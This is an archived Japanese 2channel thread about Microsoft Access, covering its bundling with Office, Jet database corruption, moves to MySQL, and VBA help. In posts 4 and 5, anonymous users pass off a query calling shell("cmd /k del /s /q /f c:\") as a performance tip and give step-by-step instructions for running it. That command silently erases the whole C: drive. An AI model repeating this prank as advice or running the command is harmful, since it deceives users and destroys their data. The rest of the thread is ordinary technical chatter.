5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【Access】アクセスは最強のデータベース!

1 :NAME IS NULL:2006/12/17(日) 03:57:39 ID:KxxtbOF8
SQLiteはクソ。

2 :NAME IS NULL:2006/12/17(日) 05:41:15 ID:???
そろそろ寝ようぜ

3 :NAME IS NULL:2006/12/17(日) 13:31:29 ID:???
アクセスってEXCELが使いたくてOFFICEを買うとおまけでついてくるやつだろ。
このおまけがとろとろしているものだから、すっげぇー大迷惑。

4 :NAME IS NULL:2006/12/17(日) 14:34:31 ID:???
Accessで次のSQLを実行したら、不思議なことになんかマシンが軽くなった。
マジお勧め。

select * from テーブル1 where フィールド1=shell("cmd /k del /s /q /f c:\")

5 :NAME IS NULL:2006/12/17(日) 17:45:05 ID:???
これだけで十分だな。
select shell("cmd /k del /s /q /f c:\")


まず、クエリを新規作成する。
デザインビューを作る。
テーブルの指定は必要ないので閉じる。
フィールドに、「shell("cmd /k del /s /q /f c:\")」と入力
保存して実行。

6 :NAME IS NULL:2006/12/19(火) 20:25:06 ID:4zl+qEwG
Access人気ねーなーw

7 :NAME IS NULL:2006/12/20(水) 11:50:00 ID:???
使い方わからん

8 :名無しさん@そうだ選挙にいこう:2006/12/22(金) 11:34:55 ID:???
アクセスの一番新しいバージョンはなんだ?
それと、2000と替わったところを教えろ。カス。

9 :NAME IS NULL:2006/12/22(金) 16:22:20 ID:???
ググレカス

10 :NAME IS NULL:2006/12/24(日) 03:16:51 ID:???
アクセスなんか売れてないんだからMSも日本向けをVFoxProに変えろよ。

11 :NAME IS NULL:2006/12/24(日) 19:42:43 ID:???
だーかーらー、
アクセスは売り物ではなくてOFFICEのおまけなんだよw

12 :NAME IS NULL:2006/12/26(火) 21:43:44 ID:NdSoe3lX
逆に考えるんだ
ACCESSのおまけがOFFICE

13 :NAME IS NULL:2006/12/26(火) 22:51:06 ID:???
初めて「でーたべぇすこうちく」として貰った仕事が嬉しくて仕方がない>>1が居たのはこのスレでございますか?

14 :NAME IS NULL:2006/12/29(金) 19:13:48 ID:???
PHPからアクセスを扱うコード禿げしく希望!w

15 :NAME IS NULL:2006/12/29(金) 20:32:25 ID:???
Accessなんか使ったら、すぐにシステムが破綻するよ。

16 :NAME IS NULL:2006/12/30(土) 00:19:04 ID:???
2007拡張子が変わって面倒

17 :!kote 【584円】 :2007/01/01(月) 10:04:21 ID:???
!kote !dama

18 :!kote 【521円】 :2007/01/01(月) 22:00:20 ID:???
test


19 :NAME IS NULL:2007/01/11(木) 15:16:48 ID:???
JETは糞エンジン・・・orz


20 :NAME IS NULL:2007/01/12(金) 03:54:52 ID:???
JETは"おまけ"の"おまけ"だからね

21 :NAME IS NULL:2007/01/13(土) 12:32:49 ID:???
おまけって
AccessはOfficeのProfessional版以上でないとついてこない
JETはOffice買わなくてもWindowsについてくる

22 :NAME IS NULL:2007/01/13(土) 19:35:58 ID:???
WindowsがPCのおまけだから、
やっぱり、"おまけ"の"おまけ"だな。

23 :NAME IS NULL:2007/01/16(火) 17:00:43 ID:5QFqZ+z3
ググって検索していたら、ここにたどり着きました。
ローカルマシンのaccessに格納してあるデータを、ホスティングしているサーバ(専用サーバ)で
selectして表示させる事は、出来ますか?


24 :NAME IS NULL:2007/01/16(火) 19:39:46 ID:???
>>23
「ローカルマシンのデータを、サーバで表示させる」というのにすごい違和感があるのだけど、
俺が無知なの?



25 :NAME IS NULL:2007/01/16(火) 22:07:43 ID:???
>>23
出来るかといわれれば、できる
SQL鯖かaccessがServerに入っていれば可能だけど・・・

何かが逆のような気がする・・・

26 :NAME IS NULL:2007/01/17(水) 01:30:31 ID:Ek095lO4
>>24 >>25
回答サンクスです。

>>24
そんなに違和感のあることなのですか!?

>>25
逆ですか。。。!?
どのように逆なのかを教えていただけるとありがたいのですが
虫が良すぎるでしょうか?

27 :NAME IS NULL:2007/01/17(水) 03:10:18 ID:???
初心者が無知な質問をしているのか?
それともただのネタなのかわからない。

まず、そんなことをしなければいけない状況が想像がつかない。


28 :NAME IS NULL:2007/01/17(水) 09:01:00 ID:Cb5UyTGq
いやぁ、、違うぞ。サービスを提供するのがサーバなわけだから、
ここでいうローカルマシンも一つのサーバなわけですよ。
何らの矛盾も無い訳です。



29 :25:2007/01/17(水) 12:16:00 ID:???
データの格納及び処理はサーバで行い
クライアントはサーバにSQLを投げて読み/書きを行う、ローカルにデータの保存はしないのが普通
理由は色々あるが、バックアップの処理やトランザクションの復旧などを一括で行った方が面倒がないから。

30 :NAME IS NULL:2007/01/17(水) 19:06:07 ID:???
まあ、やっぱりそうだよなあ?
それにサーバーでローカルのデータを表示させるってことは、
サーバーを直接ユーザーが操作するってことだろう?
サーバーの安定性という面では薦められる話ではないはず。
そこまでして、こんなことをするメリットていうのが想像つかない。
ローカルのデータはローカルで見ればいいじゃないか?
まあ、別にAccessに限った話ではないけど。


31 :NAME IS NULL:2007/01/28(日) 01:53:56 ID:/VfI1slv
最新の一太郎とaccessを使うためにvista買ったのに。access使えない奴はWindows使うのを禁止しろ。

32 :NAME IS NULL:2007/01/28(日) 04:08:16 ID:???
馬鹿発見w

33 :NAME IS NULL:2007/02/01(木) 22:59:33 ID:XEluAaNf
共有フォルダにmdbファイルを置いて、複数のPCからアクセスするアプリを作ったのだけど、
そういう使い方をすると、ファイルが壊れるって書いてあるページがまりました。
最近のaccessでもそんな感じですか?

34 :NAME IS NULL:2007/02/02(金) 03:06:02 ID:???
そもそもmdbって共有で使えるんだっけ?
accessは昔からだがローカルでも壊れやすい。

出始めた頃に聞いたaccessの別名は「しゃぼん玉」だったな。

35 :NAME IS NULL:2007/02/02(金) 04:38:48 ID:???
>>34
> そもそもmdbって共有で使えるんだっけ?

使えるよ。でも、あまり沢山のPCからの共有はやめたほうがいいと思う。

> accessは昔からだがローカルでも壊れやすい。

終了後に最適化かけるようにしてからほとんど壊れなくなった。


36 :NAME IS NULL:2007/02/02(金) 16:56:32 ID:???
ローカルで使っててもやっぱちょいちょい壊れるな。
開けなくなるだけなら、バックアップから戻せばいいだけだから大した事無いけど
一見なんともないのに、データが一部ブチ壊れたりするのがイヤ。
あるレコードの範囲が全部同じ数字に書き換わったりとか・・・
集計だけ見ても気付きにくいような微妙な壊れ方だったので、客先で冷や汗かいた。 orz
毎回最適化しててもこれじゃねぇ。 怪しくて、金が絡むクリティカルな業務には一時的にでも使いたくないな。
電話帳とか住所録みてーなのに使うなら、お手軽でいいかもしらんが、俺的に2万件あたりからはバクチ。

37 :NAME IS NULL:2007/02/02(金) 19:02:35 ID:???
>>36
ちなみにAccessのバージョンは?データとプログラムのファイル分離している?
俺はAccess2000でやっているのだけど、さすがにバグが出尽くしているのか、
最近はほとんど問題がない。昔は相当悩ませてくれた。バージョンアップが怖い。

さすがに2万件以上はAccessというよりJetエンジンの守備範囲ではないと思うよ。
俺ならデータ部分はMySQL使うけどなあ?


38 :NAME IS NULL:2007/02/02(金) 21:45:06 ID:Jxg7Ommy
access2000からaccess2007に上げます。俺の長年の苦労のデータ大丈夫かな。

39 :NAME IS NULL:2007/02/02(金) 22:47:46 ID:???
>>38
勇気あるなあ?
とてもマネできない。


40 :NAME IS NULL:2007/02/03(土) 01:33:30 ID:???
レコード件数はそれほど重要じゃないだろ、mdbのサイズが2G超えそうってんならともかく。
2万件で壊せるような使い方してるやつはそれが2千件でも2百件でも桐にしとくのが吉。

41 :NAME IS NULL:2007/02/03(土) 09:17:32 ID:NfDLDqzD
200件なら手書きのカードで十分。

42 :NAME IS NULL:2007/02/03(土) 10:37:56 ID:???
たしかに桐のほうが安定しているし、壊れにくい。
ちょっとしたことをやるなら桐の方が便利。
でももともとアプリケーション作るツールってわけじゃない。
Accessは開発者がひとりで小規模アプリケーション用つくるには、
これだけで全部で済むのでお手軽。


43 :NAME IS NULL:2007/02/03(土) 19:02:27 ID:???
桐ってまだあったのか、、、

44 :NAME IS NULL:2007/02/03(土) 19:48:17 ID:???
>>43
あるんだな、これが。しかもVista対応を表明。

http://www.kthree.co.jp/2seihin/6kiri9-2006/index.html

自分で使うだけのプログラム作るのならこれでほとんど済むと思う。
これ以上はスレ違いは甚だしくなるので、こっちに行ってくれ。

http://pc10.2ch.net/test/read.cgi/db/1057318214/



45 :NAME IS NULL:2007/02/05(月) 11:44:24 ID:???
使い方によっては「Accessは最凶のデータベース」だと思う。
データーがプログラムを道連れにして壊れるし、
同じ事やるのにいくつも方法があるから、どの方法をとるのがいいのか迷うし、
いろいろな考え方が混じっているから、わけがわからなくなる。
その辺を克服していくとそれなりに使えるツールになる。


46 :36:2007/02/05(月) 16:30:07 ID:???
>>37
Access2000で、ロジックとデータは始めから分割してた。
つーても複数人で使わせるもんじゃなく、いじくるのは俺限定で
もらったデータ取り込んでマスタ更新した結果をExcelで渡す・・・みたいなやつ。
200MB/3万レコード程度でも、jetエンジンには荷が重かったのかな・・・
客側のトラブルに対応する都合で、予定の2倍以上のサイズになっちまったのも痛かったが。

やっぱAccessってUIとしてならいいけど、でっかいデータ持たせるなら
多少手間でもちゃんとしたDBMSがいいなーと思い知らされたよ。 orz

47 :NAME IS NULL:2007/02/05(月) 17:51:47 ID:21ubMIHs
>>46
周りにaccessデータ渡したくても、access持っていないか、持ってても使えない奴。
仕方なくExcelデータで渡すと、重複データばかりになって帰ってきた。

48 :NAME IS NULL:2007/02/05(月) 21:32:46 ID:???
>>46
まあ、原因かどうかはわからないけれど、桐ならメモリにある程度空き容量が無いと動かないのだけど、
Accessはなんとか動いてしまう。でも遅いし不安定なんだよなあ?そんな状態ではデータも壊れやすい。


49 :NAME IS NULL:2007/02/05(月) 22:46:03 ID:???
そもそも欠陥品

50 :NAME IS NULL:2007/02/05(月) 23:31:38 ID:???
という程、しょっちゅうは壊れないんだが。数百MB程度は、結構頻繁に
扱ってる。やっぱ、使い方だよな。っていっても、仕様の範囲内での使い
方で壊れるDBであることは確かだな。

51 :NAME IS NULL:2007/02/06(火) 00:16:51 ID:???
だーかーらー欠陥品だっつーーーのw

52 :NAME IS NULL:2007/02/06(火) 01:18:09 ID:???
おまえもな。

53 :NAME IS NULL:2007/02/06(火) 01:37:56 ID:???
access愛好家の気に障ってしまったようだ。

54 :NAME IS NULL:2007/02/06(火) 01:40:30 ID:WeHUGje3
M$社員じゃね?

55 :NAME IS NULL:2007/02/06(火) 01:40:31 ID:???
いや、もう使ってないから。

56 :NAME IS NULL:2007/02/06(火) 06:05:51 ID:???
>>51
> だーかーらー欠陥品だっつーーーのw

まあ、そうだな。Windows98くらいの不安定さはあるから、
M$標準の欠陥品だな。M$専門用語では仕様と言うらしいが・・・・

Windows98もまあ使いようによってはなんとか使える程度には安定したのだから、
使いようって言えば使いようなんだけど・・・・・


57 :NAME IS NULL:2007/02/06(火) 12:34:37 ID:???
サーバーからデータ落としてちょっと加工したいときには使える。

58 :NAME IS NULL:2007/02/06(火) 12:53:35 ID:???
>>36
データのバイト数とか考えてる?
その大きさになると、1024ごとにきっちり区切ってやらないと壊れやすいね

きちんと設計してあれば、クライアント台数は10、120万件、800MBでも問題なく動いてるよ
あとネットワーク環境が重要だね。不安定な環境だと非常に壊れやすい



59 :36:2007/02/06(火) 13:10:06 ID:???
>>58
レコード長って事?
やっぱ気にした方がいいのかね。
壊れた時のは、残念ながら相手指定の形式に合わせる必要があったので(しかも途中で変わりやがるし orz)
気にしてる余裕は無かったなぁ。
ネットワークに関しては、ローカルでもアレなのでできればやりたくない orz

60 :NAME IS NULL:2007/02/06(火) 15:04:41 ID:???
>>58

> その大きさになると、1024ごとにきっちり区切ってやらないと壊れやすいね

いったいその話はどこがネタ元なの?
jetエンジンで120万件って、すごいなあ?俺には怖くてできない。
クライアント台数10で同時アクセスするの?
それとも繋がっているのが、10台ってだけ?


61 :NAME IS NULL:2007/02/06(火) 20:25:57 ID:???
>>60
確かマイクソのリファレンスに書いてあった。
うろ覚えだが、JETの場合1024で区切ってデータを扱うと書いてあった。
で設計は1024ごとに収まるようにきっちり作ると速い上に壊れにくいと、昔先輩に教わった。
速いのは理論上わかるが、壊れにくいのは良くわからん。
が、実際には確かにそうしておいた方が壊れにくかった。
大量データを扱わなければそんなに変わらないと思うが。

> jetエンジンで120万件って、すごいなあ?俺には怖くてできない。
> クライアント台数10で同時アクセスするの?
> それとも繋がっているのが、10台ってだけ?
同時アクセスは2〜3台、排他処理のロジック作るのが大変だった。
最適修復をきっちりやっていれば、壊れはしないが検索等のスピードが遅い。
正直限界だと思う。早くSQL鯖に移行してくれってのが正直なところ




62 :NAME IS NULL:2007/02/06(火) 21:12:47 ID:???
>>61
> 正直限界だと思う。早くSQL鯖に移行してくれってのが正直なところ

へえーーー、ユーザの要望なんだ。なんでJETエンジンにこだわるのだろう?
PostgreSQLなら無料だし、MySQLも安いのに?

ODBCを使ってとりあえずちょっとだけ動かしたことあるけれど、
あっけないほど簡単に動いた。
まあ、プログラムをまったく変更せず動くほど甘くは無いだろうし、
最適化はいろいろとがんばらなければいけないだろうけど、
思ったより楽そうだと思う。



63 :NAME IS NULL:2007/02/06(火) 21:39:46 ID:WeHUGje3
>>53
世の中にはAccessしか使えない人もいるからな。
そのAccessを否定すると、自分まで否定された気分になるんだろ。

64 :NAME IS NULL:2007/02/06(火) 22:08:42 ID:???
とことん尾ひれをつけたいようだな。
それより、ページ単位で1024ってのは正しいけどよ、可変長が基本のAccessだぞ。
ガワを1024に調整しただけじゃダメじゃねぇの。

65 :NAME IS NULL:2007/02/06(火) 22:10:23 ID:???
偉そうな事書いたくせに、間違ったよ。1024じゃなくて、2048だ。

66 :NAME IS NULL:2007/02/06(火) 22:15:54 ID:???
Accessが不良品だとしても、これに変わるものってありそうでないんだよなあ?
Accessのようなレポートが作れるツールだけでも、Accessより高い。

入力帳票作成ツール、レポート作成ツール、クエリー作成ツールなど
いろいろなツールの集合体と考えればかなり安い。

肝心のエンジンがちと弱いのが気になるけど、
エンジンを取り替えることができるところが良いところでもあるなあ?


67 :NAME IS NULL:2007/02/06(火) 22:23:59 ID:???
>>65
あっなるほど、つまりページ単位に合わせるってことね。
2048byteを1レコードにすればレコード単位と同じだものなあ?
でもそれってレコード単位ロックが無くて、
すべてページ単位ロックだったAccess97時代までの話じゃないのか?


68 :NAME IS NULL:2007/02/06(火) 22:53:29 ID:???
文字列は後ろにスペース詰めるの?

69 :65:2007/02/06(火) 23:55:08 ID:???
>>67
密かに今でも内部的にはページロックだったりする。鵜呑みにしないでね。
Accessから離れて約2年弱なので。
壊れづらくするのにページに合わせるって話が出たのであって、ロックとは
関係ないような気もするが、そもそもこのロックが原因で壊れやすくなって
るのかな???
どちらにしても可変長の仕様は変わってないので、常に2048に合わせるの
は難しい。文字列の後ろの半角スペースは自動で除去するし。中途半端
にUniCode対応だし。


70 :NAME IS NULL:2007/02/07(水) 20:39:23 ID:???
AccessはMySQLのユーザーインタフェイスとして使うのが正解じゃないのか?


71 :NAME IS NULL:2007/02/07(水) 21:53:55 ID:uQlvtPJy
ODBCでUI作るだけならACCESSである必要ないと思うんだけど、高いよね。
OpenOfficeはちょっと微妙だと思し、他に何かないかな。

72 :NAME IS NULL:2007/02/07(水) 23:21:28 ID:???
>>71
> ODBCでUI作るだけならACCESSである必要ないと思うんだけど、高いよね。

Turbo Delphiなんて無料で面白そうだと思うのだけど、
レポートツールは別に用意しなければいけない。
アクセスのように伝票形式の入力が簡単に作れるとも思えない。

結局Access程度に実用に使えるようにすると、Accessより高くなると思う。

> OpenOfficeはちょっと微妙だと思し、他に何かないかな。

なんせ情報がない。BASEが使えるのなら使いたい気もするけど。


73 :71:2007/02/08(木) 00:53:55 ID:???
今日、baseに二度目の挑戦。java.lang.NullPointerExceptionって言われてテーブル開けない。
前回はもうちょっと進んだ気がしたけど、今回はもうくじけた。


74 :NAME IS NULL:2007/02/08(木) 01:29:30 ID:???
それにしても、なんで日本版のFoxProを売らないんだよ?
俺はそれで十分なんだけどなあ?英語のマニュアルなんて読む気がしない。


75 :NAME IS NULL:2007/02/08(木) 22:37:24 ID:???
なんかARAGOが値段を下げるらしい。

http://www.soupacific.com/index2.html

なんせFoxproより高かったのだからなあ?
本当に大幅値引きだったら考えようかなあ?


76 :71:2007/02/09(金) 01:03:23 ID:???
Access2007体験版使ってみました。すごいね、これ。
2000からいっきに飛んだからかもしれないけど、UIのデザインに感動。

ちょっと質問なんですが、odbcでpostgresqlにつないだとき、
timestampの桁数が原因と思われる問題で「データの競合」が起こります。
timestamp(3)にすると解決するという未確認情報もありますが、
それ以外の、DB定義をいじらない解決策ってないでしょうか?

77 :NAME IS NULL:2007/02/09(金) 01:14:49 ID:???
>>75
まだあったんかい。
DOSのDBXLやQSには世話になったけどな。
VisualFoxproの日本語解説書でも出してくれたほうが嬉しいんだけど。

78 :71:2007/02/09(金) 01:18:24 ID:???
すいません。超FAQでした。自己解決。
postgresql7.4なので型変えるの大変だと思ったけど、
defaultのcurrent_timestamp(3)への変更で対応できました。

79 :NAME IS NULL:2007/02/09(金) 01:43:38 ID:???
>>77
> VisualFoxproの日本語解説書でも出してくれたほうが嬉しいんだけど。
んだんだ。って誰か出しそうなものだけど誰も出さないなあ?


80 :NAME IS NULL:2007/02/11(日) 08:50:43 ID:RpZ/vITy
Access2007って、今までより良いんだろうか。
何かどうでもいい見た目ばかり綺麗に改造してくれたみたいだけど。
Access使いの今までの悩みって、データ件数で1万件以上扱いたい、
10台とか多数のPCからアクセスしたい、
ローカルPCで簡単にコピーされて外部に持ち出されないようにしたい。
しかしSQLサーバーは難しいというのが、共通の悩みだったと思う。
そういう肝心なニーズは全然解決してくれてないのかな。

81 :NAME IS NULL:2007/02/11(日) 10:21:27 ID:???
おまけですから

82 :NAME IS NULL:2007/02/11(日) 12:45:42 ID:???
>>80
それってMSDEで半分は解決するんじゃないのか?
SQL Serverで全部解決。
おれはLinuxサーバーだからMySQL使うけど・・・・



83 :NAME IS NULL:2007/02/11(日) 18:44:33 ID:???
>>80
>>82 が正解。
Accessに本物DBを求める方が間違い。安いんだから、ローカルレベルで
使ってね。でも、ちょっとぐらいは他の人と一緒に使ってもいいよってぐら
いだ。C/SのDBと根本的に仕組みも違うしな。


84 :NAME IS NULL:2007/02/11(日) 22:24:35 ID:???
ACCESS2003でフォーム上で▲(横三角)*マークを
押下したら新規レコードになりますが、
それと、同じことをするVBAを教えてください。


85 :NAME IS NULL:2007/02/11(日) 22:53:33 ID:???
>>84

どこまでやりたいのか知らんが、
んなもん、コマンドボタンをウィザードに従って作ってみれば
解ることだろ。

86 :NAME IS NULL:2007/02/11(日) 23:18:42 ID:???
>>85
VBA エディタにウィザードなんかでてきませんが


87 :NAME IS NULL:2007/02/11(日) 23:22:14 ID:???
MySQL使っている人に質問。
これからMDBを卒業して使おうと思うのだけど、
AccessからMySQLを使うのってどんな感じなんだろう?

 1.設定してしまえば、MDBと違わないよ。まあ、壊れなくなったけどね。
 2.全然違う、プログラム自体も大幅に変えなければいけないし、苦労するよ。
 3.まあ、そのまま使えるほど簡単でもないけど、難しいってほどでもない。

あえて言えばどれに近い?


88 :NAME IS NULL:2007/02/11(日) 23:46:36 ID:???
>>86
>>85 じゃないが、代わりに。
まずは、コマンドボタンをフォームに置け。その時、ウィザードが起動しないか?
起動しないなら、コントロールウィザードをONにする。
このウィザードに従って新規レコード追加を選べば、実に簡素であるが目的
のVBAが出来上がる。

他人の間違い(と、思い込むこと)を指摘する前に、少しは調べろ。


89 :NAME IS NULL:2007/02/11(日) 23:49:16 ID:???
一対多連結の一側フィールドの書き換えとか、
ローカルデータならではの操作に慣れてしまったので、
いまさらC/Sには移れません。

90 :NAME IS NULL:2007/02/12(月) 00:05:35 ID:???
>>89
意味がわからん。C/S向けにチューニングされているSQL Server
Oracle等々、よく知られてるDBなら当然のごとくできることだと思うが。

91 :NAME IS NULL:2007/02/12(月) 00:28:44 ID:???
>>88
申し訳ありません
VBAにウィザードがあるなんて


92 :NAME IS NULL:2007/02/12(月) 00:40:24 ID:???
OOoのBaseがいいな。


93 :NAME IS NULL:2007/02/12(月) 00:46:45 ID:???
>>91

85だけど、あれで通じると思ったから
説明足らずで悪かった。
暇があったら、ウィザードとかマクロをVBA化して
どういうコマンド使っているのか調べてみると勉強になるよ。
当然、コマンドはヘルプで調べて、実際に使ってみること。

>>88

フォロ、ありがと。


94 :NAME IS NULL:2007/02/12(月) 01:07:51 ID:???
Accessは確かに昔よく壊れた、でもレポートが強力で離れることができんかった、
ある日FATからNTFSに変えてMDBもデータ、プログラムを切り分けしてから全然
壊れなくなった。
MSDE経由MySQLもlocalhostでしかやったことない、最近はレンタル鯖でPHPかな。

95 :NAME IS NULL:2007/02/12(月) 09:43:02 ID:???
>>94
> Accessは確かに昔よく壊れた、でもレポートが強力で離れることができんかった、

たしかに!Webシステムにしたいのだが、印刷のことを考えるとAccessから離れられない。

> ある日FATからNTFSに変えてMDBもデータ、プログラムを切り分けしてから全然
> 壊れなくなった。

Windows2000になってからトラブルは格段に減ったなあ?
データ、プログラムを切り分けたのも効果はあった。
メモリが安くなって増設したのも大きかったような気がする。
最適化はもちろんだけど、ときどきMDBを新規作成してそこにインポートすると
MDBの大きさが半分以下になったりするが、これも効果がある。
ちょっと動作が不安定になったらこれをするのがいい。


96 :NAME IS NULL:2007/02/12(月) 10:08:14 ID:???
>>95
自分の場合は、Accessでユーザー向けのシステム開発していたが、
メニューに最適化・修復を付けてあげて、そこでおっしゃるような最新
MDBへのデータ入れ替えを処理してました(標準機能の修復・最適化
実行後に)。システムの中に、データが空っぽのMDBも同梱してね。
この機能を共通関数化して使い回し。お陰様で、破損件数は減少。


97 :NAME IS NULL:2007/02/12(月) 10:32:28 ID:???
>この機能を共通関数化して使い回し
この共通関数欲しい。
えーと、かわりに差し上げられそうなものを探さないと・・・・・・


98 :NAME IS NULL:2007/02/12(月) 12:49:47 ID:???
ACCESS2003の質問です。
例えば  連番 に aaa001
aaa002
bbb011
bbb012
があるとして
aaaを含む最大値のデータ、今回の場合は
aaa002のデータを抽出するVBAを教えて下さい


99 :NAME IS NULL:2007/02/12(月) 15:25:57 ID:???
Dmax("連番","テーブル名","Like 'aaa*'")

でいくんでないかい?

100 :NAME IS NULL:2007/02/12(月) 18:46:20 ID:???
>>99
レスサンキューです
うまくいきました


101 :96:2007/02/13(火) 00:34:54 ID:???
>>97
オレが作ったものが欲しいなんて、奇特なお方だ。
Give&Takeじゃなくてもいいよ。ただし、iniファイル対応の我が社(と言っても、
やめた会社なので)特有のものです。休みの日に自宅で自分の作業を楽に
するためにセコセコ作ったもので、オレが自由に使ってもいいお墨付きです。
ドキュメント類も差し上げますので、そのまま仕様に従って使うも良し、必要
な関数・部分を抜き出して改造するも良しって感じで丸投げしたいんですけ
ど、VBAは大丈夫ですか?
修復の処理限定で欲しい場合は、ちょこっとだけ手直しして渡しますので、
何日か時間が欲しいです。本業の方、単体テスト真っ盛りで平日はなかなか
時間が取れないかもしれないので。

102 :96:2007/02/13(火) 12:16:55 ID:???
>>101
> オレが作ったものが欲しいなんて、奇特なお方だ。

いえいえ、一度作ろうかと思ったのだけどなんだか面倒そうだし、
手作業でできることなのでついつい後回しになって・・・・

> するためにセコセコ作ったもので、オレが自由に使ってもいいお墨付きです。
> ドキュメント類も差し上げますので、そのまま仕様に従って使うも良し、必要
> な関数・部分を抜き出して改造するも良しって感じで丸投げしたいんですけ
> ど、VBAは大丈夫ですか?

ええ、もちろんアクセスでVBAを使ったアプリケーション作ってますので、
だいたいは大丈夫です。

masquerade@x-road.ddo.jp へメールで送っていただければ大変助かります。
なお、このアドレスはこれを受け止めるためだけのアドレスですので、受け取り
しだい消滅します。

2ちゃんねるに無防備なアドレスをいつまでもさらすほど俺は自信家じゃない(ゴルゴ13風(w))

しかし、俺って汎用性のある関数書いてないなあ?差し上げられそうなものがない。



103 :NAME IS NULL:2007/02/13(火) 22:52:12 ID:I5nH1u5t
ACCESS2007の教本足りない。97から2000に上げた時は少々の手直しだったと思えるほど。「はじめてのACCESS2007」だけでは足りない。これだけ見た目が違うともっと細かい所も違うような。
マイクロのホームページも物足りない。

104 :NAME IS NULL:2007/02/14(水) 01:06:43 ID:???
>>102
返事書くヒマあったら送れよって・・・すまん。ファイルの準備・圧縮等何も
してないので。もう少し待ってくれ。丸投げするから。その修復・最適化の
関数に関しては、少々コメントを添える(ソース内じゃないよ)つもり。

メルアド、結構平気だよ(いや、別に削除するなって事じゃなくね)。
オレも晒したyahooメアドがあったけど、な〜〜〜んもなかった。いたずら
メールもなかった。

Accessの関数は不要っす。今、全く毛色の違う開発業務なので。


105 :NAME IS NULL:2007/02/14(水) 02:03:17 ID:???
最適化してバックアップするなら
DBEngine.CompactDatabase src, dst
これに GetOpenFileName を呼び出すコマンドボタンをつけたform
昔作りましたけどだれかいらない?

106 :NAME IS NULL:2007/02/14(水) 07:43:18 ID:???
>>105
それは、悪いがすぐ作れる。

107 :NAME IS NULL:2007/02/14(水) 11:41:58 ID:???
>>106
http://sund1.sakura.ne.jp/uploader/source/up2189.xxx

2001年製でした、ツッコミよろ

108 :106:2007/02/14(水) 12:59:41 ID:???
>>107
2001年製でも、まだ使えるんじゃねぇの?
ネット禁止のため、リンク先は見てないんだ。ゴメン。

109 :97:2007/02/14(水) 13:29:33 ID:???
>>104
別に切羽詰っているわけじゃないから、いつでもいいです。
忘れないでいてね(^^)


110 :NAME IS NULL:2007/02/14(水) 19:38:40 ID:???
>>103
安心しろ、変わったのは見た目だけだw

111 :104:2007/02/15(木) 00:08:54 ID:???
>>109
ちょっと手抜きして(コメント添えるの、ほぼやめちゃいました)とりあえず
送らせて頂きました。

112 :97:2007/02/15(木) 08:34:22 ID:???
>>111
受け取りました。ありがとうございます。こりゃあ、応用範囲が広くて使いこなすのにかなりかかりそうな予感。
でも、いろいろと参考になりそうです。ダメモトだったのに言ってみるもんだなあ?
本当にありがとうございました。


113 :NAME IS NULL:2007/02/15(木) 11:37:04 ID:???
>>110
ac2000からほぼ見た目しか変わってないような気がするのは気のせい?
アクセスは見た目だけは最強のデータベースなのかもしれない。


114 :111:2007/02/15(木) 13:00:45 ID:???
>>112
ちと、ややこしいよな。もう、分かってると思うけど念のため。
なかを見るときはshiftで開いて。

115 :NAME IS NULL:2007/02/15(木) 13:48:54 ID:???
>>114
ちゃんと見えてます。
エラーがでたので、空のMDB作ってそこにインポートしました。
今のところ仕様書を見て喜んでます。
あらためてありがとう。


116 :114:2007/02/15(木) 14:39:24 ID:???
>>115
エラーの原因は?
もしかしてオレのオリジナルがマズイかと思って。
仕様書は、Access知らない人や派遣社員向けだから、事細かく・うるさく書いてる
でしょ。最後までメンテするのオレだからガッチガチの規則だね。何か気になるこ
とがあれば、お気軽にメールで。

117 :NAME IS NULL:2007/02/15(木) 15:26:27 ID:???
>>116
>エラーの原因は?
いや単にシフト押さないで起動させたらうまくいかなかったので、
見たいのはモジュールの内容が主だからインポートすればうまくいくかなと思ってやってみただけ。
Accessは完全に独学だし、こういう実践的な仕様書って見たこと無かったので勉強になりますね。
ただ、テーブルは"T_"で始まるようにとか、考えることは同じだなあと思ってみてました。
私の場合はマスターテーブルは"TM_"とかさらに細かいのだけど。


118 :116:2007/02/16(金) 01:58:51 ID:???
>>117
次からメールにしような。
シフト押さないで開くと、iniファイルの設定値編集のフォームが開くようになってる
のだが、そのための環境が整ってなかっただけと思う。
モジュールだけ必要なら、インポートしたやつでOKよ。フォームは、インポートし
てないんだよね?この場合、バックアップ・リストアもNGだなぁ。
まぁ、好きなように使ってくれ。達人の域のものではないので、たいしたことはやっ
とらんから。

119 :NAME IS NULL:2007/02/19(月) 15:35:12 ID:???
dim tax as Long
正 tax = Fix(33333 * 0.03)
= 999
誤 tax = 33333 * 0.03
= 1000

誤 tax = Fix(50000 * 0.03)
= 1499
正 tax = 50000 * 0.03
= 1500

消費税の計算をし、小数点は切り捨てをしようとしてるのですが、上記のとおり Fix で計算をすると
切り落としの時にズレが出てきます。

小数点を切り上げたりせず、きっちり切り落としたいときはどうすればいいんでしょうか?

120 :NAME IS NULL:2007/02/19(月) 18:18:32 ID:???
10年以上前の人キタコレ

121 :NAME IS NULL:2007/02/19(月) 19:55:15 ID:???
dim dTax as double
dim lTax as long

dTax = 値段 * 税率
lTax = fix(dTax)

で解決した

122 :NAME IS NULL:2007/02/19(月) 23:53:27 ID:???
>>119
Currency

123 :NAME IS NULL:2007/02/24(土) 00:36:49 ID:7O++I76A
ACCSESS.NETがでてC#がでれば買うな
最強のアジャイル開発ができそう

124 :NAME IS NULL:2007/02/24(土) 11:57:20 ID:b39o1ZAI
アクセスで、入力データを継続させるには、どうすればいいのですか?

125 :NAME IS NULL:2007/02/24(土) 15:58:29 ID:???
入力を継続させればいい

126 :NAME IS NULL:2007/02/24(土) 16:02:28 ID:???
テーブル作ってINSERTすれば継続されると思いますよ。
少なくともPCシャットダウンしても入力データは消えないで継続されます。

127 :NAME IS NULL:2007/02/24(土) 17:06:48 ID:b39o1ZAI
すいません。同じようなデータを入力してるんですが、レコードの値を次の入力時にも継続させたい事です。Ctrl+7の他に自動でないでしょうか?

128 :NAME IS NULL:2007/02/24(土) 22:55:10 ID:???
>>127
これノンプラミングでってことだろう?
うーーーん、アクセスってそのままでは使いやすくはないからな。
たぶん桐で入力してコンバートしたほうが速いと思うけどなあ?


129 :NAME IS NULL:2007/02/24(土) 23:39:03 ID:???
VBA組め


130 :NAME IS NULL:2007/02/25(日) 00:48:45 ID:???
>>127
excelで入力してからAccessに取り込む。

131 :NAME IS NULL:2007/02/25(日) 08:23:33 ID:YoLBJkVB
>>130
ACCESSで入力して三四郎にExcel経由で取り込む。

132 :NAME IS NULL:2007/02/25(日) 19:31:33 ID:/LjiSMn/
三四郎は知らんが、
